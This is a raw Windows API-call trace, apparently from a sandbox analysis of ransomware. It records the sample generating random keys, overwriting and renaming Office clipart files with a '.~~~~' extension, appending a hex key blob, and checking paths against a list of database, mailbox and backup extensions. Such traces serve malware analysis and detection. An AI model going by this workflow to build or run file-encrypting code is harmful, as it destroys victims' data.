	[0113.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.~~~~")) returned 1
	[0113.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.170] GetLastError () returned 0x0
	[0113.171] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.172] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.172] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.172] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23316226405) returned 1
	[0113.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad0f6f70, dwHighDateTime=0x1d60e1e)) 
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830bf0
	[0113.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830bf0 | out: hHeap=0x300000) returned 1
	[0113.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.173] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834988
	[0113.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.173] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.173] GetLastError () returned 0x0
	[0113.173] GetLastError () returned 0x0
	[0113.173] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.173] GetLastError () returned 0x0
	[0113.173] GetLastError () returned 0x0
	[0113.179] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.179] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.180] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.180] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.180] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.180] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.180] CloseHandle (hObject=0x11c) returned 1
	[0113.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.181] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.~~~~")) returned 1
	[0113.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.182] GetLastError () returned 0x0
	[0113.182] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.183] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.183] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.183] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.183] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23317351995) returned 1
	[0113.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad0f6f70, dwHighDateTime=0x1d60e1e)) 
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830c28
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830c28 | out: hHeap=0x300000) returned 1
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834ab8
	[0113.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.184] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.184] GetLastError () returned 0x0
	[0113.185] GetLastError () returned 0x0
	[0113.185] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.185] GetLastError () returned 0x0
	[0113.185] GetLastError () returned 0x0
	[0113.187] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.188] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.189] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.189] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.189] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.189] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.189] CloseHandle (hObject=0x11c) returned 1
	[0113.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.189] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.~~~~")) returned 1
	[0113.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.190] GetLastError () returned 0x0
	[0113.191] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0113.192] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.192] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0113.192] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23318197427) returned 1
	[0113.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xad11d0d0, dwHighDateTime=0x1d60e1e)) 
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830c60
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830c60 | out: hHeap=0x300000) returned 1
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834b50
	[0113.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.193] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0113.193] GetLastError () returned 0x0
	[0113.193] GetLastError () returned 0x0
	[0113.193] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0113.193] GetLastError () returned 0x0
	[0113.193] GetLastError () returned 0x0
	[0113.241] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8d69, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.243] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7297, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x7297, lpOverlapped=0x0) returned 1
	[0113.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.244] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.245] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.245] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.245] CloseHandle (hObject=0x11c) returned 1
	[0113.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.277] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.~~~~")) returned 1
	[0113.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.336] GetLastError () returned 0x0
	[0113.344] lstrlenW (lpString=".sqb") returned 4
	[0113.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".sqb") returned 0x0
	[0113.345] lstrlenW (lpString=".ost") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".ost") returned 0x0
	[0113.345] lstrlenW (lpString=".txt") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".txt") returned 0x0
	[0113.345] lstrlenW (lpString=".mdt") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".mdt") returned 0x0
	[0113.345] lstrlenW (lpString=".BDB") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".BDB") returned 0x0
	[0113.345] lstrlenW (lpString=".eql") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".eql") returned 0x0
	[0113.345] lstrlenW (lpString=".DBF") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DBF") returned 0x0
	[0113.345] lstrlenW (lpString=".EQL") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".EQL") returned 0x0
	[0113.345] lstrlenW (lpString=".FDB") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".FDB") returned 0x0
	[0113.345] lstrlenW (lpString=".EDB") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".EDB") returned 0x0
	[0113.345] lstrlenW (lpString=".DACPAC") returned 7
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DACPAC") returned 0x0
	[0113.345] lstrlenW (lpString=".VHD") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".VHD") returned 0x0
	[0113.345] lstrlenW (lpString=".DBV") returned 4
	[0113.345] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DBV") returned 0x0
	[0113.345] lstrlenW (lpString=".dacpac") returned 7
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dacpac") returned 0x0
	[0113.346] lstrlenW (lpString=".sdf") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".sdf") returned 0x0
	[0113.346] lstrlenW (lpString=".accdb") returned 6
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".accdb") returned 0x0
	[0113.346] lstrlenW (lpString=".DBX") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DBX") returned 0x0
	[0113.346] lstrlenW (lpString=".MDT") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".MDT") returned 0x0
	[0113.346] lstrlenW (lpString=".SQB") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".SQB") returned 0x0
	[0113.346] lstrlenW (lpString=".vhd") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".vhd") returned 0x0
	[0113.346] lstrlenW (lpString=".bac") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".bac") returned 0x0
	[0113.346] lstrlenW (lpString=".mdf") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".mdf") returned 0x0
	[0113.346] lstrlenW (lpString=".BAK") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".BAK") returned 0x0
	[0113.346] lstrlenW (lpString=".BAC") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".BAC") returned 0x0
	[0113.346] lstrlenW (lpString=".dbs") returned 4
	[0113.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dbs") returned 0x0
	[0113.346] lstrlenW (lpString=".vhdx") returned 5
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".vhdx") returned 0x0
	[0113.347] lstrlenW (lpString=".NDF") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".NDF") returned 0x0
	[0113.347] lstrlenW (lpString=".dat") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dat") returned 0x0
	[0113.347] lstrlenW (lpString=".DBS") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DBS") returned 0x0
	[0113.347] lstrlenW (lpString=".CKP") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".CKP") returned 0x0
	[0113.347] lstrlenW (lpString=".edb") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".edb") returned 0x0
	[0113.347] lstrlenW (lpString=".PST") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".PST") returned 0x0
	[0113.347] lstrlenW (lpString=".dbf") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dbf") returned 0x0
	[0113.347] lstrlenW (lpString=".SQL") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".SQL") returned 0x0
	[0113.347] lstrlenW (lpString=".pst") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".pst") returned 0x0
	[0113.347] lstrlenW (lpString=".dbv") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dbv") returned 0x0
	[0113.347] lstrlenW (lpString=".SDF") returned 4
	[0113.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".SDF") returned 0x0
	[0113.348] lstrlenW (lpString=".dtxs") returned 5
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dtxs") returned 0x0
	[0113.348] lstrlenW (lpString=".db3") returned 4
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".db3") returned 0x0
	[0113.348] lstrlenW (lpString=".OST") returned 4
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".OST") returned 0x0
	[0113.348] lstrlenW (lpString=".dbx") returned 4
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".dbx") returned 0x0
	[0113.348] lstrlenW (lpString=".DB3") returned 4
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DB3") returned 0x0
	[0113.348] lstrlenW (lpString=".DAT") returned 4
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DAT") returned 0x0
	[0113.348] lstrlenW (lpString=".VHDX") returned 5
	[0113.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".VHDX") returned 0x0
	[0113.349] lstrlenW (lpString=".ndf") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".ndf") returned 0x0
	[0113.349] lstrlenW (lpString=".DB") returned 3
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".DB") returned 0x0
	[0113.349] lstrlenW (lpString=".sql") returned 4
	[0113.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP", lpSrch=".sql") returned 0x0
	[0113.349] lstrlenW (lpString=".MYD") returned 4
